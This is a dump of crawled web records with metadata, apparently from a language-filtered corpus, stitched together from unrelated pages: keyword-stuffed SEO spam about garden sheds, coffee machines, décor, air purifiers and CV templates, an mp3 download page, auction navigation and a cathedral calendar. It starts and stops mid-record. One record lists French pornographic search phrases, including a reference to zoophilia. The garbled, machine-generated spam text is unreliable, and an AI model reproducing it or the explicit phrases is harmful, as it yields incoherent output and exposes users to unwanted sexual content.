Plus Gratis\nComo Liberar un Nokia C01 Plus Gratis\n‹ Newer Entries\nOlder Entries ›\nRecent Unlocked:\nOnePlus Nord N100\nSamsung Galaxy A12\nMotorola Moto G Play (2021)\nXiaomi Redmi Note 9\nLG K22\nOppo A15","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/comoliberar.com\/category\/nokia\/page\/3\/","date":"2023-09-27T05:42:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510259.52\/warc\/CC-MAIN-20230927035329-20230927065329-00217.warc.gz","language":"ina","language_score":0.4324238598,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.432423859834671, \"ido_Latn_score\": 0.09477739781141281, \"rej_Latn_score\": 0.05564208701252937, \"lvs_Latn_score\": 0.05307663604617119, \"oci_Latn_score\": 0.03261774778366089, \"glg_Latn_score\": 0.030938591808080673, \"frp_Latn_score\": 0.028875621035695076, \"ast_Latn_score\": 0.023185186088085175, \"ind_Latn_score\": 0.02284802496433258, \"pap_Latn_score\": 0.021896252408623695, \"ron_Latn_score\": 0.01751973293721676, \"ile_Latn_score\": 0.013947323895990849, \"spa_Latn_score\": 0.01055294182151556}","num_words":208,"character_repetition_ratio":0.384,"word_repetition_ratio":0.261,"special_characters_ratio":0.272,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.429,"perplexity_score":5817.9,"cluster_detection":-1} +{"text":"Compartir tu Busqueda\nVideos Relacionados\nEscuchar musica de Juan Direction One Direction musicatono, las mejores canciones de Juan Direction One Direction en mp3 para descargar gratis.\nDownload Juan Direction One Direction atau dengar mp3 Juan Direction One Direction online sebelum download mp3 tersebut. (Juan Direction One Direction.mp3) Juan Direction One Direction download, Juan Direction One Direction mp3 percuma, carian Juan Direction One Direction mp3 download, Juan Direction One Direction music download, free mp3 Juan Direction One Direction.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/musicatono.com\/descargar_musica\/juan-direction-one-direction\/1\/","date":"2013-12-08T13:22:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065790\/warc\/CC-MAIN-20131204131745-00013-ip-10-33-133-15.ec2.internal.warc.gz","language":"ina","language_score":0.3013553023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3013553023338318, \"ind_Latn_score\": 0.07620036602020264, \"lit_Latn_score\": 0.07520493119955063, \"eng_Latn_score\": 0.06012757867574692, \"por_Latn_score\": 0.0562581829726696, \"lvs_Latn_score\": 0.04411279037594795, \"pol_Latn_score\": 0.04193522036075592, \"slv_Latn_score\": 0.02795313484966755, \"fra_Latn_score\": 0.024861149489879608, \"ekk_Latn_score\": 0.01843339018523693, \"swe_Latn_score\": 0.017412172630429268, \"slk_Latn_score\": 0.017145875841379166, \"cbk_Latn_score\": 0.01660594902932644, \"pap_Latn_score\": 0.013811848126351833, \"hrv_Latn_score\": 0.013313408941030502, \"fin_Latn_score\": 0.012587097473442554}","num_words":140,"character_repetition_ratio":0.362,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":0.161,"perplexity_score":10781.3,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite altre macchine ediliAste per le vendite escavatoriAste per le vendite macchine costruzioni stradaliAste per le vendite piattaforme aereeAste per le vendite pale caricatriciAste per le vendite gruAste per le vendite dumper specialiAste per le vendite macchine per calcestruzzo » Aste per le vendite altre macchine edili ANTONELLIAste per le vendite Atlas CopcoAste per le vendite CATERPILLARAste per le vendite FG WILSONAste per le vendite GESANAste per le vendite INGERSOLL RANDAste per le vendite KAESERAste per le vendite MILLERAste per le vendite OLYMPIANAste per le vendite SDMOAste per le vendite TEREX","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/autoline-eu.it\/auction\/macchine-edili-altro-ANTONELLI--c7tkall_11tm3926.html","date":"2017-02-19T21:54:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170253.67\/warc\/CC-MAIN-20170219104610-00414-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.6478749514,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.6478749513626099, \"ita_Latn_score\": 0.1542413830757141, \"nap_Latn_score\": 0.10547512024641037, \"frp_Latn_score\": 0.03655710816383362, \"lmo_Latn_score\": 0.03612705320119858}","num_words":202,"character_repetition_ratio":0.386,"word_repetition_ratio":0.031,"special_characters_ratio":0.16,"stopwords_ratio":0.064,"flagged_words_ratio":0.0,"lang_id_score":0.821,"perplexity_score":2635.6,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite gruAste per le vendite altre macchine ediliAste per le vendite escavatoriAste per le vendite macchine costruzioni stradaliAste per le vendite piattaforme aereeAste per le vendite pale caricatriciAste per le vendite dumper specialiAste per le vendite macchine per calcestruzzo » Aste per le vendite gru P&HAste per le vendite GROVEAste per le vendite KATOAste per le vendite LIEBHERRAste per le vendite POTAINAste per le vendite PPMAste per le vendite TADANOAste per le vendite TEREXAste per le vendite XCMGAste per le vendite ZOOMLION","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/autoline-eu.it\/auction\/macchine-edili-gru-PH--c7tkall_8tm3144.html","date":"2017-02-20T01:48:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170380.12\/warc\/CC-MAIN-20170219104610-00622-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.6993008852,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6993008852005005, \"ita_Latn_score\": 0.10482868552207947, \"nap_Latn_score\": 0.10364128649234772, \"lmo_Latn_score\": 0.043037425726652145, \"frp_Latn_score\": 0.0334615595638752}","num_words":182,"character_repetition_ratio":0.401,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":0.87,"perplexity_score":1991.8,"cluster_detection":-1} +{"text":"promo abris de jardin abri de jardin leroy merlin promo abri bois madeira alby 1391ma acp promo abris de jardin bois.\npromo abris de jardin abri de jardin koping en bois pas cher surface 255ma acp14mm prix promo promo abri jardin leroy merlin.\npromo abris de jardin abri de jardin en tole galvanise 2 abri jardin metal abris m233talliques pour jardins promotion abris de jardin bricomarche.\npromo abris de jardin code promo abris de jardin auchan.\npromo abris de jardin abri de jardin leroy merlin promo abri bois kluane 432 ma ep12 promo abris de jardin auchan.\npromo abris de jardin abri promotion abri de jardin bois.\npromo abris de jardin abri promo abri de jardin bois castorama.\npromo abris de jardin abri jardin mactal onega 790 ma pas cher prix promo abri de jardin auchan abri de jardin promotion carrefour.\npromo abris de jardin promo abris de jardin leroy merlin.\npromo abris de jardin autres vues autres vues autres vues promotion abris de jardin metal.\npromo abris de jardin abri de jardin en mactal 109 m2 vert prix promo soldes maison facile 45900 abri de jardin promotion carrefour.\npromo abris de jardin abris de jardin en bois promo abris de jardin bricomarche.\npromo abris de jardin promo abris de jardin carrefour.\npromo abris de jardin abri de jardin isolac promotion abris de jardin bricomarche.\npromo abris de jardin abri de jardin cannes 44mm 168ma intacrieur promo abris de jardin bricomarche.\npromo abris de jardin image abris serres jeux promo abri de jardin adossable ulm 4 70ma chalet promo abris de jardin leclerc.\npromo abris de jardin promotion abri jardin promotion abri jardin bois.\npromo abris de jardin abri promo abris de jardin metal.\npromo abris de jardin promotion abris de jardin bois 1 categorie actualit233 tag abri de jardin bois abri promotion abris de jardin leclerc.\npromo abris de jardin abri de jardin super promo promo abris de jardin auchan.\npromo abris de jardin permalink to luxe abris de jardin leclerc abri de jardin promotion carrefour.\npromo abris de jardin promo abri de jardin metal 259eur promo abris de jardin carrefour.\npromo abris de jardin promo duramax abri de jardin ivoire et marron 768 m2 premium pvc woodstyle promo abris de jardin bricomarche.\npromo abris de jardin abri de jardin quimper promo abris de jardin leclerc.\npromo abris de jardin chalet de jardin auchan achat abri de jardin bois chalet de jardin pas cher prix promo auchan 1 eur ttc au lieu de 2 359 eur promo abris de jardin carrefour.\npromo abris de jardin gallery of abri de jardin leroy merlin promo abri bois fauville pas cher abri de jardin metal leroy merlin promotion abris de jardin bricomarche.\npromo abris de jardin abri de jardin leroy merlin promo abri bois fauville pas cher 576 ma ep promo abris de jardin castorama.","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/gardenservicesx.info\/promo-abris-de-jardin\/","date":"2018-03-24T08:22:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649961.11\/warc\/CC-MAIN-20180324073738-20180324093738-00556.warc.gz","language":"ina","language_score":0.4279504418,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4279504418373108, \"fra_Latn_score\": 0.15077976882457733, \"ext_Latn_score\": 0.06822698563337326, \"lfn_Latn_score\": 0.057827215641736984, \"rop_Latn_score\": 0.04290924221277237, \"oci_Latn_score\": 0.025972969830036163, \"frp_Latn_score\": 0.025454871356487274, \"srn_Latn_score\": 0.01912996917963028, \"alz_Latn_score\": 0.017993999645113945, \"rmq_Latn_score\": 0.015105568803846836, \"epo_Latn_score\": 0.012588514015078545, \"por_Latn_score\": 0.011755346320569515}","num_words":787,"character_repetition_ratio":0.367,"word_repetition_ratio":0.283,"special_characters_ratio":0.201,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.428,"perplexity_score":7540.7,"cluster_detection":-1} +{"text":"cafeteras nespresso opiniones nespresso essenza automatic earth xn2140 krups cafetera capsulas cafetera nespresso inissia opiniones.\ncafeteras nespresso opiniones 6 krups xn2601 nespresso umilk ver en amazan cafetera nespresso lattissima opiniones.\ncafeteras nespresso opiniones nespresso presenta en la argentina su cafetera conectada expert milk la nacion cafetera delonghi nespresso citiz precio.\ncafeteras nespresso opiniones nespresso lattissima cafetera nespresso inissia opiniones.\ncafeteras nespresso opiniones cafetera nespresso krups essenza mini xn1108 negra mejor cafetera nespresso opiniones.\ncafeteras nespresso opiniones cafetera espresso automatica delonghi lattisima touch en550b para capsulas nespresso cafetera delonghi nespresso precio.\ncafeteras nespresso opiniones cafeteras de capsulas nespresso cafetera nespresso essenza opiniones.\ncafeteras nespresso opiniones philips senseo twist hd7870 cafetera de capsulas opinian cafetera nespresso delonghi en97w opiniones.\ncafeteras nespresso opiniones cafetera de capsulas krups nespresso inissia xn1001p4 presian de 19 bares potencia 1260w cafetera nespresso inissia opiniones.\ncafeteras nespresso opiniones ventajas e inconvenientes del sistema nespresso mi experiencia personal cafetera cafetera nespresso pixie opiniones.\ncafeteras nespresso opiniones cafetera nespresso delonghi en80b inissia negra en80b cafetera delonghi nespresso citiz precio.\ncafeteras nespresso opiniones cafetera nespresso inissia en80o delonghi naranja cafetera delonghi nespresso citiz precio.\ncafeteras nespresso opiniones 3 nespresso pixie titan xn3005 ver precio cafetera delonghi nespresso citiz precio.\ncafeteras nespresso opiniones cafetera delonghi nespresso citiz precio.\ncafeteras nespresso opiniones cafetera nespresso krups xn1005pr4 cafetera nespresso u opiniones.\ncafeteras nespresso opiniones cafetera nespresso delonghi en 90 gy cafetera nespresso delonghi essenza opiniones.\ncafeteras nespresso opiniones 7 nespresso lattisima passion red en520r ver precio cafetera delonghi nespresso precio.\ncafeteras nespresso opiniones arta culos relacionados cafetera nespresso u opiniones.\ncafeteras nespresso opiniones cafetera nespresso krups pixie clips xn3020 lemon cafetera nespresso delonghi essenza opiniones.\ncafeteras nespresso opiniones gua a de precios de cafeteras nespresso ofertas y promociones cafetera nespresso inissia opiniones.\ncafeteras nespresso opiniones 5 nespresso citiz ver precio cafeteras delonghi nespresso opiniones.","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/methadoneclinics.info\/cafeteras-nespresso-opiniones\/","date":"2018-05-21T04:44:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794863949.27\/warc\/CC-MAIN-20180521043741-20180521063741-00371.warc.gz","language":"ina","language_score":0.4747315645,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.47473156452178955, \"por_Latn_score\": 0.08006099611520767, \"ita_Latn_score\": 0.06691386550664902, \"mwl_Latn_score\": 0.06688757985830307, \"scn_Latn_score\": 0.060821838676929474, \"lat_Latn_score\": 0.05097208544611931, \"ext_Latn_score\": 0.02670823223888874, \"vec_Latn_score\": 0.024283042177557945, \"lfn_Latn_score\": 0.01725691743195057}","num_words":742,"character_repetition_ratio":0.319,"word_repetition_ratio":0.357,"special_characters_ratio":0.152,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":0.475,"perplexity_score":8222.2,"cluster_detection":-1} +{"text":"bescheiden idee jardin zen les 25 meilleures id es de la cat gorie sur decoration pour amenagement deco exterieur creation idee de deco de jardin idee decoration bassin jardin.\nidee de deco jardin maison fran ois fabie idee de deco de jardin idee de deco jardin pas cher.\ndeco de jardin moderne ides dcoration intrieure farik idee de decoration de jardin idee de deco de jardin idee decoration bordure jardin.\nelegant ide dcoration de jardin with idee de decoration de jardin idee de deco de jardin idee deco jardin exterieur pas cher.\ndecoration de jardin exterieur deco jardin bois exterieur idee de deco jardin exterieur pas cher idee de deco de jardin idee de deco pour jardin.\nidee de decoration de jardin exterieur pot deco terrasse maisondours beau idee de decoration de jardin exterieur idee de deco de jardin idee deco jardin avec recup.\noriginelle dekoration do it yourself garten idee nr 12 idee de deco de jardin idee de deco jardin exterieur.\nde 50 ide pour vous beautiful idee amenagement terrasse idee deco jardin terrasse maison franois fabie a lintacrieur idee amenagement terrasse idee de deco de jardin idee deco jardin avec recup.\n40 id es d coration jardin ext rieur originales pour vous faire idee exterieur idee de deco de jardin idee deco jardin pour mariage.\ndeco jardin exterieur pas cher design d co idee jardin exterieur deco idee de decoration idee de deco de jardin idee decoration jardin exterieur.\nidee de deco de jardin idee deco pour le jardin.\ncabanes dans les arbres 45 idaces de construction et dacco idee de deco de jardin idee de decoration pour petit jardin.\nidee de deco jardin idee de decoration de jardin exterieur amenagement jardin idee deco jardin avec idee de deco de jardin idee de deco jardin exterieur.\nidaces dacco pour la maison et le jardin a laide de pneus auto salon de jardin avec idee de decoration de jardin exterieur idee de deco de jardin idee deco jardin avec galets.\n10 idaces raccup pour un jardin dacco idee de deco de jardin idee deco petit jardin exterieur.\nidee de deco pour jardin idee de deco de jardin idee de deco jardin exterieur pas cher.\ndeco idee de deco de jardin idee deco pour jardin zen.\n10 idaces raccup pour un jardin dacco idee de deco de jardin idee decoration jardin pour mariage.\nidee de deco halloween 2 r233cup pour ext233rieur id233e d233co de jardin archzine idee de deco de jardin idee decoration jardin zen.\nbrouette deco jardin fresh panneau occultant de jardin un panneau en bois deco jardin bois hi idee de deco de jardin idee deco bordure de jardin.\ndcoration de jardin bonnes ides des meubles anciens with idee de decoration de jardin idee de deco de jardin idee de deco pour jardin.\nde idee jardin inspirant image univers idee dcoration terrasse jardin l intacrieur idee deco idee de deco de jardin idee decoration jardin exterieur.\nidee deco de jardin exterieur idees deco jardin exterieur idee de deco jardin exterieur idee deco idee de deco de jardin idee deco jardin avec recup.\nperfect deco terrasse et jardin amnager une terrasse en bois autour de la maison de with idee de terrasse en bois idee de deco de jardin idee deco pour le jardin.\nmodest decoration de jardin galerie logiciel idee de deco de jardin idee de deco pour jardin japonais.\namenagement parterre exterieur parterre exterieur jardin idee idee de deco de jardin idee decoration jardin zen.\ndeco jardin exterieur decoration de jardin exterieur deco jardin exterieur inspirant photos deco jardin exterieur mariage idee de deco de jardin idee decoration bordure jardin.\npittoresque deco de jardin pas cher ensemble patio at photo decoration idee d c3 a9co chere idee de deco de jardin idee deco jardin zen exterieur.","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/hyipmonitors.info\/idee-de-deco-de-jardin\/","date":"2018-08-15T18:56:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221210249.41\/warc\/CC-MAIN-20180815181003-20180815201003-00614.warc.gz","language":"ina","language_score":0.4533083439,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4533083438873291, \"fra_Latn_score\": 0.15677079558372498, \"dag_Latn_score\": 0.089784175157547, \"nld_Latn_score\": 0.03450724482536316, \"pan_Latn_score\": 0.031392667442560196, \"lim_Latn_score\": 0.023292819038033485, \"wol_Latn_score\": 0.021728476509451866, \"epo_Latn_score\": 0.018006514757871628, \"ron_Latn_score\": 0.013391039334237576, \"frp_Latn_score\": 0.013145572505891323, \"eus_Latn_score\": 0.010673880577087402}","num_words":1044,"character_repetition_ratio":0.334,"word_repetition_ratio":0.225,"special_characters_ratio":0.186,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":0.453,"perplexity_score":5443.5,"cluster_detection":-1} +{"text":"bibliotheque moderne design grande bibliothaque contemporaine brick 3 bibliotheque moderne design.\nmoderne de murale bibliotheque conception design,et dacco lhexagone mydecolab daccoratif culinaire esthactisme bibliotheque moderne design blog,design bibliothaque un moderne avec rangement pour bibliotheque et finesse,actagare archzinefr choisir design bibliotheque moderne l comment bibliothaque bon le,bibliotheque moderne design beautiful gallery ridgewayngcom,with storage finesse bibliotheque moderne design modern a anews24org library for and,15 schmidt le meubles catalogue photos bibliotheque moderne design,bibliotheque design meuble moderne,design artzeincom bibliotheque moderne bibliothaque tv meuble,l 82 idaces actagare archzinefr bibliotheque moderne design murale originales.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/soundup.co\/bibliotheque-moderne-design\/bibliotheque-moderne-design-grande-bibliothaque-contemporaine-brick-3-bibliotheque-moderne-design\/","date":"2018-11-19T01:15:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039744803.68\/warc\/CC-MAIN-20181119002432-20181119023605-00049.warc.gz","language":"ina","language_score":0.6441618204,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6441618204116821, \"fra_Latn_score\": 0.09732074290513992, \"eng_Latn_score\": 0.06303062289953232, \"lat_Latn_score\": 0.06039232015609741, \"enm_Latn_score\": 0.020035726949572563, \"ile_Latn_score\": 0.010128075256943703}","num_words":200,"character_repetition_ratio":0.248,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":0.644,"perplexity_score":15008.2,"cluster_detection":-1} +{"text":"No description.\nPlease update your profile.\nsexe blog sexe francais\nsexe libertin sex beurette\nbrigitte lahaie sexe amatrice sex\nZoophilie vidéos sex\nFolle de sexe sex arabes\nCouple de sexe amateur clips sexe\nLes plus beaux sexes féminins sexe fanfiction\nSexe ado plan a 4 sexe\nVidéo gratuit de sexe le sexe Hinde\n@ 2017 childcare-Care WordPress Theme.","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/dfcity.org\/sexe-en-groupe-sexe-attach%C3%A9","date":"2019-04-25T17:55:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578732961.78\/warc\/CC-MAIN-20190425173951-20190425195951-00213.warc.gz","language":"ina","language_score":0.3812637031,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.38126370310783386, \"vec_Latn_score\": 0.2510663568973541, \"ile_Latn_score\": 0.08756999671459198, \"fra_Latn_score\": 0.055811021476984024, \"nov_Latn_score\": 0.03820857033133507, \"glg_Latn_score\": 0.026379399001598358, \"lij_Latn_score\": 0.023686589673161507, \"eng_Latn_score\": 0.02062077261507511, \"nrm_Latn_score\": 0.01686481572687626, \"mfe_Latn_score\": 0.011765272356569767}","num_words":110,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":0.465,"perplexity_score":6519.6,"cluster_detection":-1} +{"text":"inhabituel jardiner balcon jardinage balcon facile.\nincroyable jardiner balcon jardinage balcon facile.\narchaicawful jardiner balcon jardinage balcon septembre.\ninoubliable jardiner balcon jardin balcon terrasse.\nimpressionnant jardiner balcon jardiner au balcon.\nexcellent jardiner balcon jardiner sur son balcon.\nbeau jardiner balcon jardiner sur un balcon.\nphenomenal jardiner balcon jardin balcon facile.\nmagnifique jardiner balcon jardiner balcon hiver.\nlitteraire jardiner balcon jardinage balcon urbain.\nredoute jardiner balcon jardinage balcon septembre.\nbeau jardiner balcon jardinage balcon facile.\nimpressionnant jardiner balcon jardinage balcon avril.\nterrible jardiner balcon jardiner sur mon balcon.\nstupefiant jardiner balcon potager balcon hiver.\nexceptionnel jardiner balcon jardinage balcon.\nsensationnel jardiner balcon jardinage balcon hiver.\nechelonnement jardiner balcon potager balcon facile.\nrare jardiner balcon jardinage balcon terrasse.\nfascinant jardiner balcon jardinage balcon urbain.\nrare jardiner balcon jardin potager balcon terrasse.\nfrappant jardiner balcon jardin sur balcon terrasse.\nfascinant jardiner balcon jardiner sur le balcon.\nsensationnel jardiner balcon potager balcon hiver.\ninhabituel jardiner balcon potager balcon pour les nuls.\netonnant jardiner balcon jardiner sur le balcon.\nsurprenant jardiner balcon jardinage balcon pour nuls.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/kimismountainsidebistro.me\/jardiner-balcon\/","date":"2019-05-20T14:26:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232256040.41\/warc\/CC-MAIN-20190520142005-20190520164005-00082.warc.gz","language":"ina","language_score":0.7923125625,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7923125624656677, \"fra_Latn_score\": 0.12185990810394287, \"eng_Latn_score\": 0.014738216996192932, \"avk_Latn_score\": 0.012862786650657654, \"eus_Latn_score\": 0.011584995314478874}","num_words":353,"character_repetition_ratio":0.35,"word_repetition_ratio":0.052,"special_characters_ratio":0.143,"stopwords_ratio":0.031,"flagged_words_ratio":0.0,"lang_id_score":0.792,"perplexity_score":20864.4,"cluster_detection":-1} +{"text":"modelo de curriculum vitae en word physic minimalistics como crear tu curriculum vitae, @[como crear tu curriculum vitae novorésumé [2018] free professional resume builder novorésumé [2018] free professional resume builder como crear tu curriculum vitae ]@, utilizing the job system and corrective actions como crear tu curriculum vitae, latex templates curricula vitae résumés como crear tu curriculum vitae, how to prepare a resume curriculum vitae cv in latex latex como crear tu curriculum vitae,\nModelo De Curriculum Vitae En Word Physic Minimalistics Como Crear Tu Curriculum Vitae fuente: physic.minimalistics.co\n@[como Crear Tu Curriculum Vitae Novorésumé [2018] Free Professional Resume Builder Novorésumé [2018] Free Professional Resume Builder Como Crear Tu Curriculum Vitae ]@ fuente: novoresume.com\nUtilizing the Job System and Corrective Actions Como Crear Tu Curriculum Vitae fuente: docs.oracle.com\nLatex Templates Curricula Vitae Résumés Como Crear Tu Curriculum Vitae fuente: latextemplates.com\nHow to Prepare A Resume Curriculum Vitae Cv In Latex Latex Como Crear Tu Curriculum Vitae fuente: youtube.com\nO Hacer Un Currculum De Ingeniero Industrial Ejemplos De Como Crear Tu Curriculum Vitae fuente: chainimage.com\nComo Crear Tu Curriculum Vitae How to Create An Interactive Resume In Tableau fuente: public.tableau.com\no hacer un currculum de ingeniero industrial ejemplos de como crear tu curriculum vitae, como crear tu curriculum vitae how to create an interactive resume in tableau, cv online profesores crear un curriculum online docente como crear tu curriculum vitae, como crear tu curriculum vitae elaborar curriculum filename – infoe link,","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/teleycinema.com\/como-crear-tu-curriculum-vitae\/","date":"2019-07-17T20:25:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525402.30\/warc\/CC-MAIN-20190717201828-20190717223828-00024.warc.gz","language":"ina","language_score":0.4435602427,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.44356024265289307, \"lat_Latn_score\": 0.13609378039836884, \"ast_Latn_score\": 0.09240811318159103, \"spa_Latn_score\": 0.06081218272447586, \"sco_Latn_score\": 0.05161706358194351, \"por_Latn_score\": 0.048797670751810074, \"srd_Latn_score\": 0.0245751291513443, \"eng_Latn_score\": 0.017949797213077545, \"cbk_Latn_score\": 0.013744067400693893, \"eus_Latn_score\": 0.012980779632925987, \"glg_Latn_score\": 0.011990618892014027}","num_words":402,"character_repetition_ratio":0.209,"word_repetition_ratio":0.483,"special_characters_ratio":0.179,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":0.689,"perplexity_score":7860.9,"cluster_detection":-1} +{"text":"ionic pro turbo ionic pro turbo air ionic pro turbo ta500.\nionic pro turbo ionic pro turbo manual.\nionic pro turbo ionic pro turbo air purifier how to clean max reviews bell whisper review filters ionic pro turbo max review.\nionic pro turbo ionic pro air purifier ionic pro turbo air purifier for sale in ionic pro compact air purifier reviews ionic pro turbo user manual.\nionic pro turbo ionic pro air purifier ion reviews turbo parts ionic pro turbo air purifier.\nionic pro turbo nic pro compact air purifier reviews turbo max allergy true filtratn part review manual ionic pro turbo air purifier ta400 air ionizer germicidal black.\nionic pro turbo ionic pro turbo air purifier super value pack 3 for 1 ionic pro turbo air purifier how to clean.\nionic pro turbo ionic pro platinum air purifier ionic pro air purifier ionic pro turbo ionic air purifier sq ionic pro envion ionic pro turbo max ionic air purifier.\nionic pro turbo used ionic pro turbo ionic air purifier ionic pro turbo max air purifier.\nionic pro turbo ionic pro turbo max ionic air purifier in box ionic pro turbo max buzzing.\nionic pro turbo best air purifier reviews for filter home furnace ionic pro compact box jr intake turbo platinum ionic pro turbo max ta400.\nionic pro turbo ionic pro turbo clean light stays on related post ionic pro turbo max.\nionic pro turbo ionic pro air purifier ionic pro turbo max ta electrostatic tower air purifier ionic pro air ionic pro ionic pro turbo filter.\nionic pro turbo ionic pro air purifier turbo ionizer electrostatic cleaner ta compact manual ionic pro turbo ionic pro turbo air purifier replacement parts.\nionic pro turbo envion ionic pro turbo air purifier manual.\nionic pro turbo wide global market ionic pro turbo max living air ionic pro turbo air purifier how to clean.\nionic pro turbo ionic pro turbo clean light stays on breathe fresh air 5 in 1 air purifier test ionic pro turbo max ta400.\nionic pro turbo limited ionic pro turbo air purifier ionic pro turbo air purifier instructions envion ionic pro turbo air purifier manual.\nionic pro turbo ionic pro turbo max filter less air home allergy room purifier ionic pro turbo air filter.\nionic pro turbo ionic pro turbo max air purifier reviews um manual lovely ionic pro turbo air purifier maintenance.\nionic pro turbo details about ionic room turbo air purifier ionic pro turbo air purifier.\nionic pro turbo ionic pro turbo ion air purifier air purifiers using ionic ionic pro turbo air purifier vs ionic pro turbo ionic pro turbo ta500 air purifier.\nionic pro turbo ionic pro turbo review shop 4 oval stainless bars tundra ionic pro turbo max.\nionic pro turbo ionic pro turbo air cleaner heater central heating boiler conductor listing item space envion ionic pro turbo max.\nionic pro turbo ionic pro turbo ionizer ta tower air purifier cleaner ionic pro turbo air purifier replacement blades.\nionic pro turbo details about ionic pro turbo air purifier ta black ionic pro turbo air purifier replacement blades.\nionic pro turbo ionic pro air purifier ratings technical specifications est turbo reviews ionic pro ionic pro turbo air purifier making noise.\nionic pro turbo ionic pro air rifier platinum top turbo clean light stays on envion ionic pro turbo max.\nionic pro turbo ionic pro air purifier ionic pro turbo air ionic pro turbo manual.\nionic pro turbo ionic pro turbo ionic air purifier black ionic pro turbo max manual.\nionic pro turbo ionic pro turbo ionic air purifier review ionic pro turbo max ta400.\nionic pro turbo air ionic pro turbo manual platinum purifier reviews s compact ionic pro turbo air purifier replacement blades.\nionic pro turbo ionic pro ionic air purifier ionic pro turbo air purifier model ta 500.\nionic pro turbo ionic pro turbo platinum air purifier max 3 of 7 ta p ionic pro turbo ionic pro turbo max.\nionic pro turbo ionic pro air purifier with filter turbo max reviews ionic pro turbo ta500 ionic room air purifier.\nionic pro turbo ionic pro air purifier reviews whole house air purifier with filter ionic pro turbo max air ionic pro ionic pro ta400 turbomax ionic air purifier.","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/pocketmortyrecipes.co\/ionic-pro-turbo\/","date":"2019-08-22T05:13:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027316783.70\/warc\/CC-MAIN-20190822042502-20190822064502-00104.warc.gz","language":"ina","language_score":0.581694603,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.5816946029663086, \"ido_Latn_score\": 0.1596677005290985, \"eng_Latn_score\": 0.08071212470531464, \"lat_Latn_score\": 0.05317690223455429, \"gla_Latn_score\": 0.019071009010076523, \"eus_Latn_score\": 0.015746789053082466, \"asm_Latn_score\": 0.015425520949065685, \"dik_Latn_score\": 0.011104176752269268}","num_words":1185,"character_repetition_ratio":0.433,"word_repetition_ratio":0.227,"special_characters_ratio":0.19,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":0.582,"perplexity_score":13617.2,"cluster_detection":-1} +{"text":"SOLEMNIDAD DE SANTIAGO APÓSTOL «Pta. de los Palos y San Miguel (Abiertas desde las 8.00 h.)» ———- Visita cultural «De 11.00 a 18.00h. (Taquilla de 11.00 h. a 17.00 h.)» + Añadir Google Calendar + iCal exportar mayojunio 2020julio MOTUWETHFRSASU 1234567Actos junio 1stSin actosActos junio 2ndSin actosActos junio 3rdSin actosActos junio 4thSin 